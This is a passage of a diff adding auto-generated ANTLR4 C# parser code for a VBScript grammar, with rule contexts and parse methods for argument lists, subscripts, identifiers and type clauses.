+ + public partial class ArgListContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LPAREN() { return GetToken(VBScriptParser.LPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RPAREN() { return GetToken(VBScriptParser.RPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ArgContext[] arg() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ArgContext arg(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMA() { return GetTokens(VBScriptParser.COMMA); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA(int i) { + return GetToken(VBScriptParser.COMMA, i); + } + public ArgListContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_argList; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterArgList(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitArgList(this); + } + } + + [RuleVersion(0)] + public ArgListContext argList() { + ArgListContext _localctx = new ArgListContext(Context, State); + EnterRule(_localctx, 284, RULE_argList); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 2908; + Match(LPAREN); + State = 2926; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,501,Context) ) { + case 1: + { + State = 2910; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2909; + Match(WS); + } + } + + State = 2912; + arg(); + State = 2923; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,500,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 2914; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2913; + Match(WS); + } + } + + State = 2916; + Match(COMMA); + State = 2918; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2917; + Match(WS); + } + } + + State = 2920; + arg(); + } + } + } + State = 2925; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,500,Context); + } + } + break; + } + State = 2929; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2928; + Match(WS); + } + } + + State = 2931; + Match(RPAREN); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ArgContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode OPTIONAL() { return GetToken(VBScriptParser.OPTIONAL, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PARAMARRAY() { return GetToken(VBScriptParser.PARAMARRAY, 0); } + [System.Diagnostics.DebuggerNonUserCode] public TypeHintContext typeHint() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LPAREN() { return GetToken(VBScriptParser.LPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RPAREN() { return GetToken(VBScriptParser.RPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public AsTypeClauseContext asTypeClause() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ArgDefaultValueContext argDefaultValue() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode BYVAL() { return GetToken(VBScriptParser.BYVAL, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode BYREF() { return GetToken(VBScriptParser.BYREF, 0); } + public ArgContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_arg; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterArg(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitArg(this); + } + } + + [RuleVersion(0)] + public ArgContext arg() { + ArgContext _localctx = new ArgContext(Context, State); + EnterRule(_localctx, 286, RULE_arg); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 2935; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,503,Context) ) { + case 1: + { + State = 2933; + Match(OPTIONAL); + State = 2934; + Match(WS); + } + break; + } + State = 2939; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,504,Context) ) { + case 1: + { + State = 2937; + _la = TokenStream.LA(1); + if ( !(_la==BYVAL || _la==BYREF) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + State = 2938; + Match(WS); + } + break; + } + State = 2943; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,505,Context) ) { + case 1: + { + State = 2941; + Match(PARAMARRAY); + State = 2942; + Match(WS); + } + break; + } + State = 2945; + ambiguousIdentifier(); + State = 2947; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (((((_la - 181)) & ~0x3f) == 0 && ((1L << (_la - 181)) & 1050917L) != 0)) { + { + State = 2946; + typeHint(); + } + } + + State = 2957; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,509,Context) ) { + case 1: + { + State = 2950; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2949; + Match(WS); + } + } + + State = 2952; + Match(LPAREN); + State = 2954; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2953; + Match(WS); + } + } + + State = 2956; + Match(RPAREN); + } + break; + } + State = 2961; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,510,Context) ) { + case 1: + { + State = 2959; + Match(WS); + State = 2960; + asTypeClause(); + } + break; + } + State = 2967; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,512,Context) ) { + case 1: + { + State = 2964; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2963; + Match(WS); + } + } + + State = 2966; + argDefaultValue(); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ArgDefaultValueContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQ() { return GetToken(VBScriptParser.EQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS() { return GetToken(VBScriptParser.WS, 0); } + public ArgDefaultValueContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_argDefaultValue; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterArgDefaultValue(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitArgDefaultValue(this); + } + } + + [RuleVersion(0)] + public ArgDefaultValueContext argDefaultValue() { + ArgDefaultValueContext _localctx = new ArgDefaultValueContext(Context, State); + EnterRule(_localctx, 288, RULE_argDefaultValue); + try { + EnterOuterAlt(_localctx, 1); + { + State = 2969; + Match(EQ); + State = 2971; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,513,Context) ) { + case 1: + { + State = 2970; + Match(WS); + } + break; + } + State = 2973; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class SubscriptsContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public SubscriptContext[] subscript() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public SubscriptContext subscript(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMA() { return GetTokens(VBScriptParser.COMMA); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA(int i) { + return GetToken(VBScriptParser.COMMA, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + public SubscriptsContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_subscripts; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterSubscripts(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitSubscripts(this); + } + } + + [RuleVersion(0)] + public SubscriptsContext subscripts() { + SubscriptsContext _localctx = new SubscriptsContext(Context, State); + EnterRule(_localctx, 290, RULE_subscripts); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 2975; + subscript(); + State = 2986; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,516,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 2977; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2976; + Match(WS); + } + } + + State = 2979; + Match(COMMA); + State = 2981; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,515,Context) ) { + case 1: + { + State = 2980; + Match(WS); + } + break; + } + State = 2983; + subscript(); + } + } + } + State = 2988; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,516,Context); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class SubscriptContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode TO() { return GetToken(VBScriptParser.TO, 0); } + public SubscriptContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_subscript; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterSubscript(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitSubscript(this); + } + } + + [RuleVersion(0)] + public SubscriptContext subscript() { + SubscriptContext _localctx = new SubscriptContext(Context, State); + EnterRule(_localctx, 292, RULE_subscript); + try { + EnterOuterAlt(_localctx, 1); + { + State = 2994; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,517,Context) ) { + case 1: + { + State = 2989; + valueStmt(0); + State = 2990; + Match(WS); + State = 2991; + Match(TO); + State = 2992; + Match(WS); + } + break; + } + State = 2996; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class AmbiguousIdentifierContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] IDENTIFIER() { return GetTokens(VBScriptParser.IDENTIFIER); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode IDENTIFIER(int i) { + return GetToken(VBScriptParser.IDENTIFIER, i); + } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousKeywordContext[] ambiguousKeyword() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousKeywordContext ambiguousKeyword(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode L_SQUARE_BRACKET() { return GetToken(VBScriptParser.L_SQUARE_BRACKET, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode R_SQUARE_BRACKET() { return GetToken(VBScriptParser.R_SQUARE_BRACKET, 0); } + public AmbiguousIdentifierContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_ambiguousIdentifier; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterAmbiguousIdentifier(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitAmbiguousIdentifier(this); + } + } + + [RuleVersion(0)] + public AmbiguousIdentifierContext ambiguousIdentifier() { + AmbiguousIdentifierContext _localctx = new AmbiguousIdentifierContext(Context, State); + EnterRule(_localctx, 294, RULE_ambiguousIdentifier); + int _la; + try { + int _alt; + State = 3012; + ErrorHandler.Sync(this); + switch (TokenStream.LA(1)) { + case ACCESS: + case ADDRESSOF: + case ALIAS: + case AND: + case ATTRIBUTE: + case APPACTIVATE: + case APPEND: + case AS: + case BEEP: + case BEGIN: + case BINARY: + case BOOLEAN: + case BYVAL: + case BYREF: + case BYTE: + case CALL: + case CASE: + case CHDIR: + case CHDRIVE: + case CLASS: + case CLOSE: + case COLLECTION: + case CONST: + case DATE: + case DECLARE: + case DEFBOOL: + case DEFBYTE: + case DEFDATE: + case DEFDBL: + case DEFDEC: + case DEFCUR: + case DEFINT: + case DEFLNG: + case DEFOBJ: + case DEFSNG: + case DEFSTR: + case DEFVAR: + case DELETESETTING: + case DIM: + case DO: + case DOUBLE: + case EACH: + case ELSEIF: + case END: + case ENUM: + case EQV: + case ERASE: + case ERROR: + case EVENT: + case FALSE: + case FILECOPY: + case FRIEND: + case FOR: + case FUNCTION: + case GET: + case GLOBAL: + case GOSUB: + case GOTO: + case IF: + case IMP: + case IMPLEMENTS: + case IN: + case INPUT: + case IS: + case INTEGER: + case KILL: + case LOAD: + case LOCK: + case LONG: + case LOOP: + case LEN: + case LET: + case LIB: + case LIKE: + case LSET: + case ME: + case MID: + case MKDIR: + case MOD: + case NAME: + case NEXT: + case NEW: + case NOT: + case NOTHING: + case NULL: + case OBJECT: + case ON: + case OPEN: + case OPTIONAL: + case OR: + case OUTPUT: + case PARAMARRAY: + case PRESERVE: + case PRINT: + case PRIVATE: + case PUBLIC: + case PUT: + case RANDOM: + case RANDOMIZE: + case RAISEEVENT: + case READ: + case REDIM: + case REM: + case RESET: + case RESUME: + case RETURN: + case RMDIR: + case RSET: + case SAVEPICTURE: + case SAVESETTING: + case SEEK: + case SELECT: + case SENDKEYS: + case SET: + case SETATTR: + case SHARED: + case SINGLE: + case SPC: + case STATIC: + case STEP: + case STOP: + case STRING: + case SUB: + case TAB: + case TEXT: + case THEN: + case TIME: + case TO: + case TRUE: + case TYPE: + case TYPEOF: + case UNLOAD: + case UNLOCK: + case UNTIL: + case VARIANT: + case VERSION: + case WEND: + case WHILE: + case WIDTH: + case WITH: + case WITHEVENTS: + case WRITE: + case XOR: + case IDENTIFIER: + EnterOuterAlt(_localctx, 1); + { + State = 3000; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + State = 3000; + ErrorHandler.Sync(this); + switch (TokenStream.LA(1)) { + case IDENTIFIER: + { + State = 2998; + Match(IDENTIFIER); + } + break; + case ACCESS: + case ADDRESSOF: + case ALIAS: + case AND: + case ATTRIBUTE: + case APPACTIVATE: + case APPEND: + case AS: + case BEEP: + case BEGIN: + case BINARY: + case BOOLEAN: + case BYVAL: + case BYREF: + case BYTE: + case CALL: + case CASE: + case CHDIR: + case CHDRIVE: + case CLASS: + case CLOSE: + case COLLECTION: + case CONST: + case DATE: + case DECLARE: + case DEFBOOL: + case DEFBYTE: + case DEFDATE: + case DEFDBL: + case DEFDEC: + case DEFCUR: + case DEFINT: + case DEFLNG: + case DEFOBJ: + case DEFSNG: + case DEFSTR: + case DEFVAR: + case DELETESETTING: + case DIM: + case DO: + case DOUBLE: + case EACH: + case ELSEIF: + case END: + case ENUM: + case EQV: + case ERASE: + case ERROR: + case EVENT: + case FALSE: + case FILECOPY: + case FRIEND: + case FOR: + case FUNCTION: + case GET: + case GLOBAL: + case GOSUB: + case GOTO: + case IF: + case IMP: + case IMPLEMENTS: + case IN: + case INPUT: + case IS: + case INTEGER: + case KILL: + case LOAD: + case LOCK: + case LONG: + case LOOP: + case LEN: + case LET: + case LIB: + case LIKE: + case LSET: + case ME: + case MID: + case MKDIR: + case MOD: + case NAME: + case NEXT: + case NEW: + case NOT: + case NOTHING: + case NULL: + case OBJECT: + case ON: + case OPEN: + case OPTIONAL: + case OR: + case OUTPUT: + case PARAMARRAY: + case PRESERVE: + case PRINT: + case PRIVATE: + case PUBLIC: + case PUT: + case RANDOM: + case RANDOMIZE: + case RAISEEVENT: + case READ: + case REDIM: + case REM: + case RESET: + case RESUME: + case RETURN: + case RMDIR: + case RSET: + case SAVEPICTURE: + case SAVESETTING: + case SEEK: + case SELECT: + case SENDKEYS: + case SET: + case SETATTR: + case SHARED: + case SINGLE: + case SPC: + case STATIC: + case STEP: + case STOP: + case STRING: + case SUB: + case TAB: + case TEXT: + case THEN: + case TIME: + case TO: + case TRUE: + case TYPE: + case TYPEOF: + case UNLOAD: + case UNLOCK: + case UNTIL: + case VARIANT: + case VERSION: + case WEND: + case WHILE: + case WIDTH: + case WITH: + case WITHEVENTS: + case WRITE: + case XOR: + { + State = 2999; + ambiguousKeyword(); + } + break; + default: + throw new NoViableAltException(this); + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 3002; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,519,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + } + break; + case L_SQUARE_BRACKET: + EnterOuterAlt(_localctx, 2); + { + State = 3004; + Match(L_SQUARE_BRACKET); + State = 3007; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + State = 3007; + ErrorHandler.Sync(this); + switch (TokenStream.LA(1)) { + case IDENTIFIER: + { + State = 3005; + Match(IDENTIFIER); + } + break; + case ACCESS: + case ADDRESSOF: + case ALIAS: + case AND: + case ATTRIBUTE: + case APPACTIVATE: + case APPEND: + case AS: + case BEEP: + case BEGIN: + case BINARY: + case BOOLEAN: + case BYVAL: + case BYREF: + case BYTE: + case CALL: + case CASE: + case CHDIR: + case CHDRIVE: + case CLASS: + case CLOSE: + case COLLECTION: + case CONST: + case DATE: + case DECLARE: + case DEFBOOL: + case DEFBYTE: + case DEFDATE: + case DEFDBL: + case DEFDEC: + case DEFCUR: + case DEFINT: + case DEFLNG: + case DEFOBJ: + case DEFSNG: + case DEFSTR: + case DEFVAR: + case DELETESETTING: + case DIM: + case DO: + case DOUBLE: + case EACH: + case ELSEIF: + case END: + case ENUM: + case EQV: + case ERASE: + case ERROR: + case EVENT: + case FALSE: + case FILECOPY: + case FRIEND: + case FOR: + case FUNCTION: + case GET: + case GLOBAL: + case GOSUB: + case GOTO: + case IF: + case IMP: + case IMPLEMENTS: + case IN: + case INPUT: + case IS: + case INTEGER: + case KILL: + case LOAD: + case LOCK: + case LONG: + case LOOP: + case LEN: + case LET: + case LIB: + case LIKE: + case LSET: + case ME: + case MID: + case MKDIR: + case MOD: + case NAME: + case NEXT: + case NEW: + case NOT: + case NOTHING: + case NULL: + case OBJECT: + case ON: + case OPEN: + case OPTIONAL: + case OR: + case OUTPUT: + case PARAMARRAY: + case PRESERVE: + case PRINT: + case PRIVATE: + case PUBLIC: + case PUT: + case RANDOM: + case RANDOMIZE: + case RAISEEVENT: + case READ: + case REDIM: + case REM: + case RESET: + case RESUME: + case RETURN: + case RMDIR: + case RSET: + case SAVEPICTURE: + case SAVESETTING: + case SEEK: + case SELECT: + case SENDKEYS: + case SET: + case SETATTR: + case SHARED: + case SINGLE: + case SPC: + case STATIC: + case STEP: + case STOP: + case STRING: + case SUB: + case TAB: + case TEXT: + case THEN: + case TIME: + case TO: + case TRUE: + case TYPE: + case TYPEOF: + case UNLOAD: + case UNLOCK: + case UNTIL: + case VARIANT: + case VERSION: + case WEND: + case WHILE: + case WIDTH: + case WITH: + case WITHEVENTS: + case WRITE: + case XOR: + { + State = 3006; + ambiguousKeyword(); + } + break; + default: + throw new NoViableAltException(this); + } + } + State = 3009; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( (((_la) & ~0x3f) == 0 && ((1L << _la) & 9007304807790147582L) != 0) || ((((_la - 68)) & ~0x3f) == 0 && ((1L << (_la - 68)) & -8087550153692545025L) != 0) || ((((_la - 132)) & ~0x3f) == 0 && ((1L << (_la - 132)) & 562949936644063L) != 0) || _la==IDENTIFIER ); + State = 3011; + Match(R_SQUARE_BRACKET); + } + break; + default: + throw new NoViableAltException(this); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class AsTypeClauseContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode AS() { return GetToken(VBScriptParser.AS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public TypeContext type() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEW() { return GetToken(VBScriptParser.NEW, 0); } + [System.Diagnostics.DebuggerNonUserCode] public FieldLengthContext fieldLength() { + return GetRuleContext(0); + } + public AsTypeClauseContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_asTypeClause; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterAsTypeClause(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitAsTypeClause(this); + } + } + + [RuleVersion(0)] + public AsTypeClauseContext asTypeClause() { + AsTypeClauseContext _localctx = new AsTypeClauseContext(Context, State); + EnterRule(_localctx, 296, RULE_asTypeClause); + try { + EnterOuterAlt(_localctx, 1); + { + State = 3014; + Match(AS); + State = 3015; + Match(WS); + State = 3018; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,523,Context) ) { + case 1: + { + State = 3016; + Match(NEW); + State = 3017; + Match(WS); + } + break; + } + State = 3020; + type(); + State = 3023; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,524,Context) ) { + case 1: + { + State = 3021; + Match(WS); + State = 3022; + fieldLength(); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class BaseTypeContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode BOOLEAN() { return GetToken(VBScriptParser.BOOLEAN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode BYTE() { return GetToken(VBScriptParser.BYTE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COLLECTION() { return GetToken(VBScriptParser.COLLECTION, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DATE() { return GetToken(VBScriptParser.DATE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DOUBLE() { return GetToken(VBScriptParser.DOUBLE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INTEGER() { return GetToken(VBScriptParser.INTEGER, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LONG() { return GetToken(VBScriptParser.LONG, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode OBJECT() { return GetToken(VBScriptParser.OBJECT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SINGLE() { return GetToken(VBScriptParser.SINGLE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode STRING() { return GetToken(VBScriptParser.STRING, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode VARIANT() { return GetToken(VBScriptParser.VARIANT, 0); } + public BaseTypeContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_baseType; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterBaseType(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitBaseType(this); + } + } + + [RuleVersion(0)] + public BaseTypeContext baseType() { + BaseTypeContext _localctx = new BaseTypeContext(Context, State); + EnterRule(_localctx, 298, RULE_baseType); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 3025; + _la = TokenStream.LA(1); + if ( !((((_la) & ~0x3f) == 0 && ((1L << _la) & 8796135038976L) != 0) || ((((_la - 83)) & ~0x3f) == 0 && ((1L << (_la - 83)) & 536870929L) != 0) || ((((_la - 153)) & ~0x3f) == 0 && ((1L << (_la - 153)) & 524353L) != 0)) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class CertainIdentifierContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] IDENTIFIER() { return GetTokens(VBScriptParser.IDENTIFIER); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode IDENTIFIER(int i) { + return GetToken(VBScriptParser.IDENTIFIER, i); + } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousKeywordContext[] ambiguousKeyword() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousKeywordContext ambiguousKeyword(int i) { + return GetRuleContext(i); + } + public CertainIdentifierContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_certainIdentifier; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterCertainIdentifier(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitCertainIdentifier(this); + } + } + + [RuleVersion(0)] + public CertainIdentifierContext certainIdentifier() { + CertainIdentifierContext _localctx = new CertainIdentifierContext(Context, State); + EnterRule(_localctx, 300, RULE_certainIdentifier); + try { + int _alt; + State = 3042; + ErrorHandler.Sync(this); + switch (TokenStream.LA(1)) { + case IDENTIFIER: + EnterOuterAlt(_localctx, 1); + { + State = 3027; + Match(IDENTIFIER); + State = 3032; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,526,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 